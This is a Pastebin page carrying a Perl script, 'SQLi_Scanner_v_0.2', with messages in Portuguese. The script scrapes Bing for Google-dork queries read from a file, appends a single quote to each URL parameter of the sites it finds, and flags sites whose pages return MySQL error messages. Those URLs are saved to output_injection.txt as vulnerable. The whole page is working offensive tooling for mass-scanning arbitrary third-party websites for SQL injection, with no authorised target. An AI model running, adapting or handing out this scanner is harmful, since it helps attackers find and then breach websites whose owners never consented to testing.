Advertisement
Googleinurl

Scanner perl SQL - ERROR Bing

Aug 31st, 2012
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.16 KB | None | 0 0
  1. BEGIN { $ENV{ACTIVEPERL_CONFIG_DISABLE} = 1; }
  2.  
  3. #perl2exe_exclude "File/BSDGlob.pm"
  4. #perl2exe_exclude "Compress/Bzip2.pm"
  5. #perl2exe_exclude "I18N/Langinfo.pm"
  6. #perl2exe_include "attributes.pm"
  7.  
  8.  
  9. use strict;
  10. no warnings;
  11. use threads;
  12. use threads::shared;
  13. use LWP::UserAgent;
  14. use Term::ANSIColor;
  15. use HTTP::Request::Common qw(POST);
  16.  
  17.  
  18. my $threads = 10;
  19.  
  20. my $ua = LWP::UserAgent->new;
  21. $ua->timeout(15);
  22. $ua->agent('Mozilla/5.0');
  23.  
  24. my @dorkz : shared;
  25. my @linkz : shared;
  26.  
  27. system("cls");
  28. system("color A");
  29. print "++++++++++++++++++++++++++++++++++++++++++++++++\n";
  30. print color("red"),"+             SQLi_Scanner_v_0.2               +\n",color("reset");
  31. print "+                                              +\n";
  32. print "++++++++++++++++++++++++++++++++++++++++++++++++\n";
  33. print "\n[i]Motor de busca: bing.com\n";
  34. print "\[.]Iniciando...\n";
  35. GetDorkz();
  36. print "[i]Quantidade de Dorks: ".scalar(@dorkz)."\n";
  37. GetLinks();
  38. while (threads->list) {}
  39. print "[i]Links encontrados: ".scalar(@linkz)."\n";
  40. print "[.]Começar testes...\n\n";
  41. CheckLinks();
  42. while (threads->list) {}
  43. print "[!]Tudo feito, verificar output_injection.txt\n\n";
  44.  
  45.  
  46. sub CheckLinks {
  47.     foreach my $link( @linkz ) {
  48.         my  $ctr = 0;
  49.         foreach my $thr ( threads->list ) { $ctr++; }
  50.         if ($ctr < $threads){
  51.             threads->create( \&InjectionCheck, $link );
  52.         }
  53.         else { redo; }
  54.     }
  55. }
  56.  
  57. sub GetLinks {
  58.     foreach my $dork( @dorkz ) {
  59.         my  $ctr = 0;
  60.         foreach my $thr ( threads->list ) { $ctr++; }
  61.         if ($ctr < $threads){
  62.             threads->create( \&GetLinks_bing,$dork );
  63.         }
  64.         else { redo; }
  65.     }
  66. }
  67.  
  68. sub GetDorkz {
  69.     open( DORKZ, "input.txt" ) or die "$!\n";
  70.     while( defined( my $line_ = <DORKZ> ) ) {
  71.         chomp( $line_ );
  72.         push( @dorkz, $line_ );
  73.     }
  74.     close( DORKZ );
  75. }
  76.  
  77. ## BING_SEARCH
  78. ## http://www.bing.com/search?q=index.php%3Fid%3D&filt=all&first=1
  79. sub GetLinks_bing {
  80.     my $dork = shift;
  81.     chomp( $dork );
  82.     for( my $i = 1; $i < 960; $i = $i + 50 ) {
  83.         my $url = "http://www.bing.com/search?q=".$dork."&&filt=rf&first=".$i;
  84.         my $content = $ua->get($url)->content;
  85.         while( $content =~ m/<h3><a href="(.+?)"/gi ) {
  86.             my $link = $1;
  87.             $link =~ s/&amp;/&/g;
  88.             #print $link."\n";
  89.             push( @linkz, $link );
  90.         }
  91.     }
  92.     threads->detach();
  93. }
  94.  
  95. sub InjectionCheck {
  96.     my $link = shift;
  97.     chomp( $link );
  98.     print color("red"),"[-]Não: $link\n",color("reset");
  99.     my $content = $ua->get($link)->content;
  100.     for(my $position = 0; ($position = index($link, "=", $position)) >= 0; $position++) {
  101.         my $linkcpy = $link;
  102.         substr($linkcpy, $position, 1) = "='";  
  103.         my $content2 = $ua->get($linkcpy)->content;
  104.         unless( $content eq $content2 ) {
  105.             if( $content2 =~ m/mysql_fetch_/i || $content2=~ m/You have an error in your SQL syntax/i || $content2 =~ m/tem um erro de sintaxe no seu SQL/i || $content2 =~ m/mysql_num_rows/i || $content2 =~ m/Division by zero in/i ) {
  106.                 print color("green"),"[+]Vulnerável: ".$linkcpy."\n",color("reset");
  107.                 Output( $linkcpy );
  108.                 threads->detach();
  109.             }
  110.         }
  111.     }
  112.     threads->detach();
  113. }
  114.  
  115. sub Output {
  116.     my $para = shift;
  117.     open (OUT, '>>output_injection.txt') or die("Não é possível gravar output_injection\n");
  118.     print OUT $para."\n";
  119.     close (OUT);
  120. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement